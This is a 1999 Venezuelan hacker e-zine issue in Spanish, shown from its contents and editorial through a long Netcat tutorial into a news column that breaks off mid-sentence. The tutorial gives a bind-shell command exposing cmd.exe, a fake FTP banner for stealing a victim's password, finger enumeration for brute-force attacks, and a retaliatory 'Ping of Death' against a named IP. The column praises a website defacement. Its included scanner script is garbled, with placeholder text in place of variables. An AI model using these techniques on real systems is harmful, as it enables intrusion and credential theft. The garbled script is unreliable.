Home E-Zines Hven Hven 02

Ultimos Mensajes del Foro

Manual Aleatorio

La informatica y la guerra (PDF)
Documento que muestra diferentes mquinas de encriptacion y la explotacin de la informtica como arma de guerra
Leer más...
Hven 02 PDF Imprimir E-mail
Martes, 30 de Noviembre de 1999 01:00
NetCat, Sistemas Operativos 100% seguros, compilando kernel, tips para la instalacion de NT, Estructura de Archivos y directorios en Linux, Conectando desde Linux a internet, Wingates, Como Obtener Op en Canales Registrados De IRC, Firewalls en Linux, Mini How to de Firewalls en Win Nt/95/98, DoS contra modems, Bounce Attack, Programacion en linux.....

Texto Completo:
                        ͻ  
͹   HVen  E-Zine ۲  ͻ
                       ͼ                          
                                                                               
                                                                 
                                                                 
                                                                  
                                                                            
                                 ~~0  |_)                                   
                                |(_~|^~~|                                   
                                 TT/_ T"T                                   
                             ^^^^^^^^^^^^^^^^^                              
                        El Primer E-Zine Venezolano                            
͹    
͹  Disclaimer  ͹ 
 El contenido de esta revista electrnica tiene una nica finalidad,  la de    
 educar con respecto a  seguridad  informtica y que  posibildades  tenemos    
 para quebrar dicha seguridad, as como tambin   mencionamos  otros temas, 
 especialmente referentes al underground, ni el equipo  ni  ninguno de  sus 
 colaboradores se hace responsable de  lo que tu hagas con esta informacin 
 desde ahora solo tu eres responsable de tus actos...                       
ͼ
͹  Powered by Edit del DOS  ͹  

                              Pgina Oficial
                >>  http://www.hven.com.ve  <<

                             
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

                               Canal Oficial
            >>  #Hackers-Venezuela (irc.dal.net)  <<
                          El Conocimiento es Poder

                       >> Ezine Staff  <<

            DarKdEaTH                            
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
            DoctorX                              
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
            DunkelSeite                          
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
            Kliber                               
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
            Merlin                               
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
            Supreme                              
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
            Teken Melocotoff                     
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

                    >>  Colaboradores  <<

            TecData                              
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
            Sick Boy                             
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
            TiTO_C                               
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

   ͻ
͹ Contenido 
   ͼ

01  Editorial                                           DarKdEaTH

02  Netcat                                              Kliber

03  De todo un Poco                                     DarKdEaTH

04  Sistemas Operativos 100% seguros                    Teken Melocotoff

05  Compilando el Kernel                                DoctorX

06  Tips para la instalacin de NT                      Dunkelseite - Merlin

07  Estructura de Archivos y directorios en Linux       Supreme - Merlin

08  Conectando desde Linux a Internet                   SickBoy

09  Wingates                                            Supreme

10  Como Obtener Op en Canales Registrados De IRC       TecDATA

11  Firewalls en Linux                                  DoctorX

12  Mini How to de Firewalls en Win Nt/95/98            Merlin

13  Denial of Service attack contra modems              TiTO_C

14  Bounce Attack                                       Teken Melocotoff

15  Programacin en Linux                               DoctorX

17  HVEN RC5 DES                                        HVEN

16  Llave PGP                                           HVEN

18  Despedida                                           DarKdEaTH

   ͻ
͹ Editorial ͹DarKdEaTH
   ͼ

  Despus de tanto esperar aqu est nuestro segundo nmero, creo que nos
  hemos tardado un poco ms de la cuenta en sacar este nmero pero  hemos
  tenido  algunos problemas con el editor, hemos tenido 2 editores adems
  mi, los cuales  tuvieron  problemas  para  terminar el trabajo pero ac
  estamos luchando contra las adversidades =)

  Muchos  han  sido los  correos que  hemos  recibido  felicitndonos por
  nuestro trabajo, lo que nos halaga y nos estimula para  seguir haciendo
  lo que nos gusta sin importar los problemas que se nos presenten.

  Les  recordamos  a  los que han  intentado  entrar en  nuestra lista de
  correo y no han recibido respuesta, que cada solicitud es estudiada por
  los miembros y luego se toma una decisin, no rechazamos a nadie por no
  tener  conocimientos  de hack, sino a  los  que  escriben diciendo  que
  quieren joder a un enemigo o algo as, ya vamos a madurar y evitar esos
  problemas, por  eso es que vemos tantos piques en la scene under,  esto
  lo menciono pq algunos  individuos no  entraron a la lista y decidieron
  que la mejor reaccin era entrar al  canal a nukear, malo malo.. aunque
  en  estos  momentos la  lista no  se est moderando  como antes as que
  seguro no es muy dificil entrar.

  Mucho se habla sobre las ansiadas tarifas planas en Venezuela, hmmm ver
  para  creer, aunque pronto se acabar el monopolio de CANTV todava  no
  hay  que  hacerse  muchas  ilusiones  con  eso  de  las tarifas planas,
  mientras  tanto hay que seguir calandonos el abuso de CANTV =(, una muy
  buena opcin es conectarse a internet  por medio de cable  modem, bueno
  ya dejo de marearlos con  tanta paja y vamos a lo que nos  intereza, el
  ezine que est bastante decente ;).


   ͻ
͹ Netcat. Sacandole Provecho a una exelente Utilidad ͹Kliber
   ͼ

  Netcat  es un  pequeo programa creado para uso de los Administradores
  de redes (y por supuesto para los Hackers) :), este proggie fue creado
  originalmente  por  Hobbit  y  porteado a Win95 y NT por Weld Pond  de
  L0pht, tiene  mas de  un ao desde que fu Liberado y muy poco  se  ha
  escrito sobre este Programita; Principalmente porque la estructura  de
  sus  comandos  es  poco familiar para el usuario medio.  Netcat  tiene
  infinidad  de  funciones, aunque se deja que sea el usuario quien  las
  averige :P, y  en el  archivo de  ayuda  ponen algunos ejemplitos muy 
  elementales solamente...

  La especialidad de Netcat es el Protocolo TCP/IP, y le da a la mquina
  de windows,  cierto  poder  sobre  este protocolo que solo tena UNIX,
  trabaja  con  lneas de  comandos desde  MS-DOS (o desde  el Shell  de
  Linux), y segn parece, puede hacer casi cualquier cosa sobre  TCP/IP.
  El comando principal es nc con su respectiva variable u opcin al  ms
  puro estilo Unix.


  Cabe  destacar que la informacin sobre Netcat y sus usos  especficos
  es  bastante  limitada; aunque  Hobbit  en  su documento aclara muchas
  cosas,  cita  algunos  ejemplos  y dice que NetCat puede ser utilizado
  para mas de 1001 vainas...

  Netcat puede ser encontrado en: http://www.l0pht.com/~weld/netcat

	Netcat en WinX
	==============
	
  Este  es el  resultado del comando de ayuda de netcat en  una  mquina
  windows

 c:>nc -h

connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, stealth mode

        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

  Bien;  un  anlisis  rpido  de estas variables nos  da  una idea  del
  potencial  de  este pequeo programa y las infinitas posibilidades que
  nos ofrece l  poder  manejar  conexiones de  una manera  tan bsica y
  sencilla:

<------ Opciones de Netcat --------->

-d  (Modo Stealth o encubierto) 

  Esta opcin desvincula al Programa de la consola, hacindolo  trabajar
  en el BackGround.

-e  (Ejecuta un programa cuando se conecta) 

  Puede ser utilizado para ejecutar incluso un Shell tanto en WinX  como
  en *NIX.

-l  (Escuchando conexiones) 

  Deja a un puerto abierto en espera de una conexin

-L  (lo mismo que anteriormente pero sigue escuchando an cuando la
  conexin es cerrada)

  Esta opcin es incluida en la versin de Weld Pond de L0pth, y es  muy
  til para seguir escuchando en el puerto, a diferencia de -l  (que  la
  conexin cerrada termina con el proceso de nc) esta  opcin -L permite
  seguir   escuchando  en  el  mismo  puerto  (la  rutina  de  nc -l  es
  reincidida).

-n   (Direccin numrica especifica; no hace un DNS Lookup) Netcat tiene
  la facultad de resolver nombres de dominio mediante un DNS Lookup, con
  esta  opcin  le  especificamos  que  no  lo  haga,  y  use  solamente
  direcciones IP.

-o  (obtiene  un archivo log en Hex de la accin) Genera un Log
  de las actividades de netcat en cdigo Hexadecimal.

-p (Puerto para pegarse) Algunas veces debes  especificarle  con
  esta opcin el puerto a realizar una accin.

-s  (pegarse a un IP especifico) Netcat  puede  utilizar IP  de
  una red como fuente local.

-t   (Funciona como un  pequeo  demonio  telnet)  Con  esta  opcin  le
  especificas a netcat que debe realizar negociaciones telnet.

-u  specify UDP (Utilizar Protocolo UDP)  Con  esta opcin  le  dices  a
  netcat que trabaje con protocolo UDP en vez de TCP.

-v   (modo verbose, mas informacin, se le puede aadir otra -v para mas
  info todava)  Bastante  til y necesario,  sobre  todo  para estudiar
  demonios en profundidad y observar todos los detalles en un Sniffing.

-w  (Especifica  un  tiempo  para terminar) Con esta opcin le
  especificas un tiempo determinado para realizar conexiones.

-r (Genera un Patrn Ramdom de puertos locales o remotos) Muy til  para
evitar patrones lgicos de Scanning.

-g  (especificar Gateways) Una de las opciones ms interesantes
  de netcat, permite utilizar Routers como "puentes" de conexin.

-G  (Especificar puntos de  Routing), Con  esta  opcin  podemos
  crear una cadena aleatoria de hosts para crear una ruta  perdida  para
  tus paquetes (Spoofing).
 
-i   Especifica  un  intervalo   de  segundos   entre  puertos
  Scaneados.

<------------- Fin de las opciones comentadas ------> 


	Netcat en Linux
	===============

  Netcat en una plataforma como Linux se convierte en una  utilidad  muy
  potente,   pudiendo   ser  utilizado  en  conjunto  con  lenguajes  de
  programacin como Perl y C , o bien  desde la propia Lnea de comandos
  del poderoso Shell de Linux mediante Shell Scripts.

  Cabe destacar que distribuciones como RedHat Linux trae junto  con sus
  paquetes  de  instalacin  una  versin  limitada  de  netcat;  lo ms
  recomendable es bajar de la red la versin  full de netcat para  Linux
  (Importante: La versin de netcat para linux viene a prueba de lamers,
  por lo cual debemos compilar a netcat con unos flags  especiales  para
  poder  obtener  las opciones -t y -e (Telnet y Gaping Security Hole)).
  Bajas el .tar de  netcat y  lo  desempaquetas  en el directorio  de tu
  preferencia, te ubicas dentro del directorio  de netcat y lo  compilas
  con Make utilizando las siguientes Flags:

[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"

  Copias el binario (nc) al directorio /usr/bin , de esta manera  podrs
  usar netcat directamente  llamndolo  de  cualquier  parte  del Shell,
  adems de que podrs usar los scripts que hagas (o consigas en la red)
  sin  problemas;  netcat  trae  unos  scripts  muy  interesantes y bien
  comentados para que los estudies y comprendas mejor su  implementacin
  en scripts, los scripts estn en el directorio donde  desempaquetastes
  netcat en /scripts , los  corres  como siempre: ./probe  (o  el script
  que quieras).


        Utilizando Netcat
        =================

  Para  ilustrar  mejor  como trabajamos con este programa, lo mejor  es
  observar  ejemplos  prcticos  y  analizar  su  estructura  para poder
  comprender  mejor como funciona y  as poder  crear  nuestras  propias
  aplicaciones.

  Algunas de las cosas que podemos hacer con NetCat son:

  Obtener un Shell rpidamente en una mquina remota usando la opcin -l
  (Listen) conjuntamente con la opcin -e (ejecutar), cuando el proggie
  corre  con estas variables y la conexin es realizada, NetCat  ejecuta
  el programa elegido y se conecta a stdin y stdout del programa  en  la
  conexin a la red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

  Este comando dejar a NetCat escuchando el Puerto 23 (telnet),  cuando
  es  conectado  a  travs  del cliente, ejecutar un Shell (cmd.exe) la
  opcin -t le  dice  a  NetCat  que maneje cualquier negociacin que el
  cliente pueda esperar....

  Si esta conexin  es realizada desde una mquina NT, el shell  correr
  los  permisos  del proceso que han generado a NetCat (Hmmm...) as que
  hay que ser muy cuidadosos :)

  La belleza de NetCat es que puede hacer  lo mismo en CUALQUIER  puerto
  :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que  estn
  probablemente  corriendo  en  la  mayora  de las mquinas NT, de esta
  manera  puedes  lograr  una conexin a una mquina que est utilizando
  "Filtrado de Puertos"  activado  en  TCP/IP  security  Network Control
  Panel, NT  no  parece  tener  ninguna  seguridad  alrededor  de cuales
  puertos  los programas de usuarios son permitidos amarrar, esto quiere
  decir en pocas palabras, ejecutar  comandos  y  programas  que  puedan
  unirse a los Puertos NETBIOS.


  Como anteriormente se mencion, puedes utilizar a Netcat para estudiar
  diferentes puertos, con la siguiente sintaxis:

c:\>nc -v   (puedes aadir otra -v)


  Uno de los puertos ms interesantes a la Hora de Analizar un Host,  es
  el  puerto  79  (Finger),  puedes  obtener  nombres  de   usuarios   e
  informacin  muy  til  a  la hora de planear un "Brute-Force Attack",
  este comandito  de  Netcat  te  muestra la Flexibilidad del Proggie en
  cuestin, dndote una idea de sus posibilidades:

c:\>nc -v  79 < user.txt > log.txt

  El comando anterior le dice a netcat que se conecte en modo verbose al
  Host predeterminado en el puerto 79 (Finger) y enve el contenido  del
  archivo  user.txt  (OJO:  no  he probado esto con una posible lista de
  nombre de usuarios al azahar), la respuesta del servicio ser guardada
  en el archivo log.txt


	Scanner:
	========

  Netcat  puede  ser  utilizado como scanner, sus mltiples opciones  le
  permiten realizar un gran nmero de combinaciones,  pudiendo  realizar
  Scannings en Puertos Random, en puertos conocidos, en modo  ascendente
  o descendente,  con  intervalos  de  tiempo,  utilizando gateways para
  evitar mostrar la IP fuente del Scanning, etc. 

 C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK

  Pues si; aqui tienen  un  pequeo y  primitivo scanner, se  le  pueden
  aadir  puertos  escogidos  como en el ejemplo anterior o asignarle un
  rango de puertos:

C:\nc11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused  etc...

  Volvemos con la opcin -v (verbose) y la Opcin -z (zero i/o)  que  es
  usada  para scanning, los puertos se lo especificamos al final del  IP
  del host, bien  sea individuales separados por un  espacio; o  por  un
  rango de puertos.
      

	Sniffer:
	========

  Otra  de  las interesante posibilidades de netcat es su capacidad para
  escuchar  conexiones en cualquier puerto, pudiendo redireccionar  todo
  el trfico  del  mismo  hacia  un  archivo  o  hacia pantalla, en este
  sencillo ejemplo, podemos observar las bases de un sencillo sniffer en
  Windows:

C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]


  Tambin  podemos  redireccionar  toda la salida a un archivo e irnos a
  realizar otras actividades ,mientras netcat hace su trabajo:

C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...

[Aqui viene la conexin...]

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030

[Todo lo que escriba la conexin se va al archivo login.txt]
 sent 0, rcvd 42

[La opcin -L permite que netcat escuche nuevamente al terminar la
conexin,"New Victims Wanted" Hehe!]

DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...


         El Exploit-Explained nc -v -v -L 127.0.0.1 -p 23
         --------------------

  Ejecutamos a Netcat con la opcin o variable -v (verbose)  (doblemente
  "verbose"  por si acaso) ;) esto har que el resultado de netcat,  sea
  mostrado  directamente en pantalla (a diferencia del archivo usado por
  Dr._X),  la  opcin  o  variable -L  (Listen,  and  listen  again) nos
  permitir  dejar  escuchando  u  "oliendo"  en  determinado puerto aun
  cuando la conexin sea interrumpida (listen again), con la variable -p
  le indicamos el puerto...

  Al ejecutar a netcat con esa combinacin de variables las opcin -v me
  indica en pantalla el Host y el puerto de escucha:

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...


  Realizo  desde  otra  ventana  un telnet a localhost (127.0.0.1) en el
  puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado


         Voil! un Sniffer en LocalHost!  Jajaja!!!


        Detector de Conexiones Sospechosas
        ==================================

  La  posibilidad de dejar a netcat escuchando en determinados  puertos,
  nos permite crear una especie de "trampa" para un supuesto agresor que
  utilice scanners, o  herramientas  tales  como NetBus o BackOrifice en
  contra de  nuestras  estaciones. Incluso, podemos crear un archivo que
  haga un Flood y redireccionar su salida hacia la estacin agresora  en
  caso de una conexin no  autorizada a  determinado puerto. (jeje! y se
  me ocurren un montn de cosas ms, Muaahahaha!)  :)

  Este  es  un ejemplo de un detector de BO, Je! y funciona! este es  un
  ejemplo real de un da como cualquier otro en IRC; he aqu el ejemplo:

C:\nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 ...

invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65]
 31338

  Back Orifice  utiliza  el  protocolo UDP para realizar sus travesuras,
  realiza  la conexin desde un puerto aleatorio (casi siempre  el 1080)
  aunque en este caso lo hizo desde el 31338 (posiblemente una  variante
  de BO),  por  eso se utiliza la opcin -u (protocolo udp),  netcat  se
  queda  esperando  conexiones  UDP  en el puerto 31337 (default de BO),
  cuando  alguien  hace  un  sweep  a tu IP netcat lo detecta enviando a
  pantalla el IP y el DNS del agresor...

  Luego un pequeo "Ping of Death" (Nuke) para el transgresor y le hacen
  un Scan para ver cuando desaparece B-]

nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT
nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!!


        Otros usos Miscelneos
        ======================

  Puedes  utilizar  algo  de  ingeniera  social para  capturar  algunos
  passwords con netcat, por ejemplo, si una mquina no tiene abierto  el
  puerto  de  FTP o de telnet, creas un archivo de texto que solicite el
  ID y el Password de la vctima; algo as:

Microsoft Internet FTP Server V.5.9 [Beta]
04/16/99 myhost.com
Please introduce Username, password and press "Enter"
LogOn:

  Luego redireccionas el archivo hacia la vctima:

C:\nc11nt>nc -v -v -L -p 21 nombre del host -t < login.txt

  Si  el  tonto  cae... Ah  va  tu  password,  Jeje!! B-]  un  poco  de
  imaginacin  y  maa  te  permitirn  encontrar muchas utilidades para
  netcat.


        Netcat en Vez de Telnet
	=======================

  Yo personalmente prefiero usar netcat para realizar conexiones remotas
  como  alternativa  al Telnet. la ventaja de realizar conexiones telnet
  desde netcat es que este esconde "algo" sobre tu conexin, lo  que  lo
  hace mas "sigiloso" que telnet, (de ah por  qu lo  llamaron netcat),
  Realizando una conexin "Limpia" en determinado puerto,  obviando  las
  negociaciones comunes  de  Telnet  que  pueden confundir al cliente en
  determinados casos, como por ejemplo, al  utilizar  ciertas  Backdoors
  muy conocidas en Unix.

  OJO:  algunas  mquinas interpretan al cliente de telnet y  asumen  el
  nombre  del  usuario  que  lo  utiliza,  de  all  el  porqu  algunos
  servidores solo preguntan por password ; tericamente netcat  no enva
  esta  informacin.  Por eso,  es recomendable acostumbrarse a utilizar
  netcat para hacer conexiones remotas:

 
	c:> nc -v nombre del host 23(o el puerto de tu preferencia)


        Netcat y Programacin
        =====================

  Esta  combinacin  desencadena  todo  el Poder de Netcat en su  mxima
  expresin; Tratndose  de una  herramienta  que funciona con lneas de
  comandos, su integracin  con un  lenguaje de  programacin le permite
  realizar gran cantidad de tareas, y posibilidades se van  descubriendo
  da a da con su inclusin en nuevos Scripts y Exploits. 

  Muchos  ScriptKiddies  que  no tienen idea de lo que hacen, se sienten
  frustrados porque muchos de los Scripts y Exploits que bajan de la Red 
  simplemente no les  funciona, porque no saben  interpretar el Cdigo y
  por lo  tanto son  incapaces de efectuar las modificaciones necesarias
  para   incluir  libreras,  paths  o  utilidades  necesarias  para  su
  funcionamiento. (Jdanse ScriptKiddies!!! Jajaja!!)

  Netcat  es  excelente  para  implementar exploits remotos, permitiendo
  enviar el cdigo a cualquier  puerto vulnerable con una  simple orden,
  logrando  ejecutar   todos  los  comandos   necesarios  para  explotar
  determinados servicios.

  Varios exploits que circulan actualmente en la Red, usan a netcat como
  "motor" para  manejar las conexiones, si analizamos el cdigo de estos
  programas  podemos  observar  un  nc  por  ah, esto  significa que el
  Proggie en cuestin necesita una versin  correctamente  compilada  de
  netcat en el directorio  /usr/bin . A continuacin un pequeo programa
  realizado por el Doctor_X de Hven utilizando a netcat:

<---------- Hven Port Scanner!! ------>

# !/bin/bash
# Scanner de Puertos 
# By DoctorX 17/04/99  email: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
# Zona de Bacterias  http://bactery.8m.com
# Hackers de Venezuela http://www.hven.com.ve
# Este es un shell script hecho por mi para la verificacin de 
# conexiones a un host utilizando netcat.

# Declaracin de Variables

export NETCAT=" nc -v -v -w 8 -z "
export RANGO=[*3] [http://www.govannom.org/e-zines/hven/hven002.txt]
LOCALHOST=$(uname -n)
export PUERTOS="21 23 25 79 80 110 111 113 139 143 513 514 515 6000 31337"
export MEM1="Scanner de Puertos "
export MEM2="by "   
export MEM22="para Hackers Venezuela"
export MEM3="Victima : " 
export MEM4="Falta el GateWay para el Source Routing !!!!!!"
export MEM5="Te van a pillar !!!!!!! $USER jejejejeje "
export MEM6="Local Host : $LOCALHOST " 
export MEM7="UDP Scan "
export MEM8="http://www.hackhour.com.br/hven"
export re=" [5m"
export cl=" [0m"
export rojo=" [31m"
export email="email:
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 "

# Declaracin de Funciones

# Mensaje cuando no se le dan Parmetros

function mem() {
local uso="uso  :{jumi [*3] [http://www.govannom.org/e-zines/hven/hven002.txt]}  [opcion]   "
local DRX="DoctorX"
echo $MEM1 
echo $MEM2   ${rojo}$DRX${cl}  $MEM22
echo $MEM8
echo ${rojo}$uso${cl} 
echo "             :IP/HOSTNAME de La Victima jejejeje "
echo "          :source-routing , es opcional " 
echo "opciones : "
echo "u                  :esta opcion de utiliza para hacer scan udp"
echo "so                 :Determinacion de SO de servidores Web" 
echo "r rango_de_puertos :Cambia el rango de puertos por defecto :plow-phi" &&
exit ; }

# Mensaje Inicial

function mem2() {
VICTIMA=jumi
echo $MEM1
echo $MEM2 ${rojo}DoctorX${cl} $MEM22
echo $MEM3  $VICTIMA
echo $MEM6 ; }

# Mensaje 2

function mem_web() {
mem_web1="Hackers Venezuela"
mem_web2="By"
mem_web3="Victima : "
VICTIMA=jumi
mem_web4="Determinacion de SO en Web Servers"
echo $mem_web1
echo $mem_web4
echo $mem_web2 ${rojo}DoctorX${cl} $email 
echo $mem_web3 $VICTIMA ;}


# Scan Tcp

function tcp() {
 HOST=jumi
 $NETCAT  $HOST $PUERTOS ; }

# Scan Tcp con Rango

function tcp_rango() {
 HOST=[*3] [http://www.govannom.org/e-zines/hven/hven002.txt]
 RANGO=jumi
 $NETCAT  $HOST $RANGO ; }

# Scan UDP

function udp() {  
VICTIMA=jumi
echo $MEM7 
$NETCAT  -u $VICTIMA $PUERTOS ; }

# Scan UDP con gateway

function udp_gateway() {
echo $MEM7
VICTIMA=[*3] [http://www.govannom.org/e-zines/hven/hven002.txt]
GATE=jumi
NETCAT_GATE="nc -v -v -z -u $VICTIMA -g $GATE " 
$NETCAT_GATE $PUERTOS ; }

# Scan con Source Routing
 
function tcp_gateway() {
GATE=jumi
HOST=[*3] [http://www.govannom.org/e-zines/hven/hven002.txt]
RANGO=$PUERTOS
echo "Gate : $GATE "  
$NETCAT -g $GATE  $HOST $RANGO ; }

# Advertencia

function  adv() {
local MEM4="Falta el GateWay para el Source Routing !!!!!!"
local MEM5="Te van a pillar !!!!!!! $USER jejejejeje "
echo ${rojo}$MEM4${cl} 
echo ${re}${rojo}$MEM5${cl}  ; }

# Determinacin de SO

function web_so() {
NC="nc -w "
HTTPPORT="80"
GET="GET /"
ECHO="/bin/echo"
HEAD="HEAD / HTPP/1.0"
HTTPVARIABLE="Server:"
WEB_SERVER="jumi"
LOG="salida.txt"
#CHECKHTTP=( echo $GET  ; sleep 5)| $NETCAT $VICTIMA  80 
( echo $HEAD  ; echo ; echo ) | $NC  8 $WEB_SERVER $HTTPPORT | grep 
$HTTPVARIABLE  | cut -d: -f2  1> $LOG  
cat  $LOG
rm -f $LOG  ;}


# Seleccion de Opcion

case $# in 0 ) mem ;; 
           1 ) mem2 jumi ;
               adv  ;
               tcp jumi ;;
           3 ) if [ "jumi" != "r" ]; then 
                  mem2 [*3] [http://www.govannom.org/e-zines/hven/hven002.txt]
                  udp_gateway  [*3] [http://www.govannom.org/e-zines/hven/hven002.txt]
               else {  mem2 
                     adv  
                     tcp_rango [*3] [http://www.govannom.org/e-zines/hven/hven002.txt]  ;} 
               fi ;;
           2 ) if [ "jumi" != "u" ] ; then
                       if [ "jumi" != "so" ] ; then
                             {  mem2 jumi
                             # adv  
                             tcp_gateway [*3] [http://www.govannom.org/e-zines/hven/hven002.txt] jumi ;} 
                       else { mem_web [*3] [http://www.govannom.org/e-zines/hven/hven002.txt]
                              web_so [*3] [http://www.govannom.org/e-zines/hven/hven002.txt] ;} 
                       fi
                else  { export HOST=[*3] [http://www.govannom.org/e-zines/hven/hven002.txt]
                       mem2 $HOST 
                       udp [*3] [http://www.govannom.org/e-zines/hven/hven002.txt]   
                       exit 0 ;}
                fi ;           
esac

 
<------- Fin del Hven-Scanner, cortar aqu --------->

        Conclusin
        ==========
	 
  Si  estudiamos  detalladamente  las  variables, el  misterio de netcat
  desaparece, viene la parte de la imaginacin; Que otras funciones  le
  podemos asignar? Que mas podra hacer? ; al revisar el  programa  que
  envi Dr._X me dije: "Lgico! Hmmm... Y que tal si hacemos as..."; el
  hacking  no  es  ms  que probar  nuevas  posibilidades, utilizando el
  ingenio, los  conocimientos  acumulados y una dosis bastante fuerte de
  imaginacin podremos lograr lo que queramos.  :)


  Si tienes  otras ideas, utilidades, programas o forma innovadora  para
  utilizar  netcat, escrbenos un  mail, estar encantado de anexarlo en
  este documento....

  Este Documento fu Realizado por Kliber, Agradecimientos especiales  a
  Doctor_X (Code Freak) :), DarKdEaTH, y a todos los miembros de nuestra
  comunidad por su invaluable Colaboracin.

	"Hecho en Venezuela!"

==============================
   
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
   Hackers Venezuela
   "El Conocimiento es Poder!!"
   http://hven.com.ve
============================== 	
   ͻ
͹ De todo un Poco ͹DarKdEaTH
   ͼ

  Estamos cumpliendo un ao desde que se form HVEN, aunque mucho  antes
  ya Kliber haba  fundado Hackers Venezuela, en geocities, uff,  cuando
  este no era tan  mierda, pero en  realidad  cuando  se  form  nuestro
  equipo fu ms o menos en noviembre del 98, desde ah dejamos  de  ser
  unos  chamos  que  se  conectaban  mucho  a  internet  para  ser  unos
  investigadores de internet, uff eso suena extrao, no? bueno  pero as
  fu :), ahora tenemos unas bajas temporales por diversas razones, pero
  algunas veces coincide  una, CANTV!!! me anoto en la lista, y es que a
  esta gente no les importa el  retraso del pas, ya  que mientras menos
  nos  conectemos  a internet  menos  podremos seguir en lo nuestro pero
  aunque llueva truene y relampaguee aqui seguiremos.

        Pitcher Bolivariano

  Dicen por ah que van a destinar parte del  presupuesto del  pas para
  construir un estadio de beisbol en el Palacio de  Miraflores para  que
  pueda jugar nuestro "presidente" (o mejor conocido como el  presidente
  peregrino) cuando venga al pas, y es que Chvez en vez de  encargarse
  de la situacin del pas lo que  hace es  viajar por el  mundo y jugar
  beisbol, como hace unos das en Cuba, que  por cierto.. le dieron palo
  y palo, como pitcher es buen militar :-P, resulta que ahora  en vez de
  llamarnos  Repblica  de  Venezuela, ahora por un  arranque de  Chvez
  pasaremos  a  ser  Repblica  Bolivariana  de  Venezuela, como  si eso
  contribuyera  de  alguna  forma  a  mejorar  la situacin del pas, la
  palabra Bolivar no  arreglar las cosas  mgicamente, ademas de que le
  traera un gasto importante al pas el  cambio del nombre en todos los
  documentos y ojal solo fuera eso, pq tambin  aprobaron seis  aos de
  mandato para el presidente con  posibilidad de reeleccin, y para  ms
  "apa"  quiere que solo haya  una pregunta en el referendo  consultivo
  del 15 de  Diciembre, o todo o  nada, por  lo  menos  yo, se que voy a
  responder.. y tu??


        Ultimos Hacks

  Hace  ya  algunos meses  fu  hackeada  la  pgina de Planeta Urbe, un
  conocido  peridico  de circulacin  semanal  (creo, yo no  compro esa
  yaga), por Hackzeus, sin duda un trabajo impecable, lo que yo llamara
  un Hack  Artstico =) el  ttulo de la pgina fu  cambiado de Planeta
  Urbe a Planeta Ubre, jeje as como tambin  fu alterado  el contenido
  con palabras  de repudio  al trabajo realizado por dicho peridico, lo
  pueden   ver   por  uds.  mismos  ya  que  la  pgina  fu   subida  a
